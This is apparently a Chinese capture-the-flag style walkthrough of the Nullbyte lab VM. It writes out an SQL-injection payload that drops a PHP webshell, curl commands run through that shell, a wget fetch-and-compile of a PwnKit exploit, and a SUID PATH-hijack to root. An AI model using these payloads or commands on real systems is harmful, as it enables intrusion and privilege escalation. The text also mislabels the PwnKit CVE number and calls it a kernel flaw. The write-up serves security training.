文章总结: 本文记录了Nullbyte靶机渗透实战,涵盖Nmap信息搜集、Web目录爆破与图片隐写分析。通过SQL注入写入Webshell获取数据库凭证,解密后登录SSH。提权部分演示了CVE-2021-4034内核漏洞利用与SUID环境变量劫持两种方法。文章步骤详实,适合初学者掌握从信息搜集到提权的完整流程。 综合评分: 84 文章分类: 渗透测试,实战经验,WEB安全
可以看到没什么东西 只有一个gif文件 因为是打靶 可以猜测有图片隐写 查一下图片的exif信息 可以看到一个隐藏的信息
可以直接将这个当作密码来尝试ssh和phpmyadmin进行登录 发现无果 之后发现访问一下这个路径有回显
靶机之后的地址会变成192.168.116.137 换网络环境了(
查看源码可以看到提示 让我们进行爆破密码
<center>
<form method="post" action="index.php">
Key:<br>
<input type="password" name="key">
</form>
</center>
<!-- this form isn't connected to mysql, password ain't that complex --!>
用Yakit的fuzz导入hashmob的small字典爆破即可
注释里面有写密码不复杂 用常用的密码字典就好啦
找到响应长度最不一样的流量包
发现没问题啦 下一步!密码爆破出来为elite
浏览器输入密码发现进入新的页面 成功!
SQL注入-手注-写入Webshell
打开页面发现是一个输入用户名的 输入a测试一下功能
发现可以模糊查询到对应的用户
盲猜这里存在SQL注入 用单引号闭合看一下 发现没有报错
但是双引号进行查询的时候发现报错了 这里可能存在SQL注入
使用ORDER BY语句先查询一下列数 看看是否存在注入
http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 3-- -
发现三列正常查询
但是四列的时候就开始报错了 可以看出列数为三列 而且存在SQL注入 语句写入进去啦
http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 4-- -
知道了列数 使用SQL语法来直接写入webshell 写入到我们之前探测到的/uploads目录
http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php system($_GET['a']); ?>",2,3 into outfile "/var/www/html/uploads/shell.php"; -- -
看到回显 发现语句执行成功
访问发现有回显!上传成功!
执行命令whoami 可以看到权限为www-data低权限
刚刚的页面有查询数据库的功能 所以可以先从刚刚的页面看起 看一下源码
.\curl.exe http://192.168.116.137/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php
成功得到mysql服务的用户和密码
渗透phpmyadmin-获得低权限ssh shell
刚刚得到了mysql的用户密码 之前的时候扫描过目录 知道有个数据库管理站点 用这个密码登录上去
找到一个刻意的库 里面的ramses用户的pass看起来像是base64编码
解码之后发现类似于md5加密
用一个在线的彩虹表查询到密码为omega
使用ssh连接服务器 之前我们知道是777端口啦 用户是ramses
ssh [email protected] -p 777
成功登录 获得低权限shell!
Linux提权
方法一 懒人提权 CVE-2024-4034
该靶机内核版本存在CVE-2021-4034 (PwnKit) 漏洞,且系统自带gcc编译器,因此可以直接下载利用源码进行编译提权。
有gcc的时候用这个挺爽的 这个洞的涵盖范围蛮大的 wget直接下载c文件
wget --no-check-certificate https://github.com/arthepsy/CVE-2021-4034/raw/refs/heads/main/cve-2021-4034-poc.c
使用gcc编译一下c文件
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
最后执行编译文件 得到root shell
查看proof.txt 打靶成功!
方法二 SUID提权
查询有SUID的文件
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
可以看到里面的 procwatch 很可疑
执行了这个文件后回显如下 其实有点像最后会用SUID的权限执行了一下ps命令的效果
它很可能是一个由root拥有并设置了SUID位的程序,其内部调用了
ps命令
那这时候就比较简单了 就是改一下环境变量 并把sh之类的shell名称改为ps 实现软件执行时使用ps命令 实际上用root权限执行sh提权的效果
但由于使用的是相对路径(即只写了
ps而不是/bin/ps),所以我们可以通过修改$PATH环境变量,让系统优先执行我们伪造的ps程序。
创建一个sh的软连接 名字为ps
ln -s /bin/sh ps
写入环境变量 将当前目录(.)添加到PATH的最前面
export PATH=.:$PATH
执行procwatch,此时它会调用”ps”,但实际上运行的是我们的/bin/sh,并且是root权限
查看proof.txt 打靶成功!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:志在片语 小志z 小志z《网安社团周报 Week3 – Nullbyte靶机 SQL注入 Linux提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论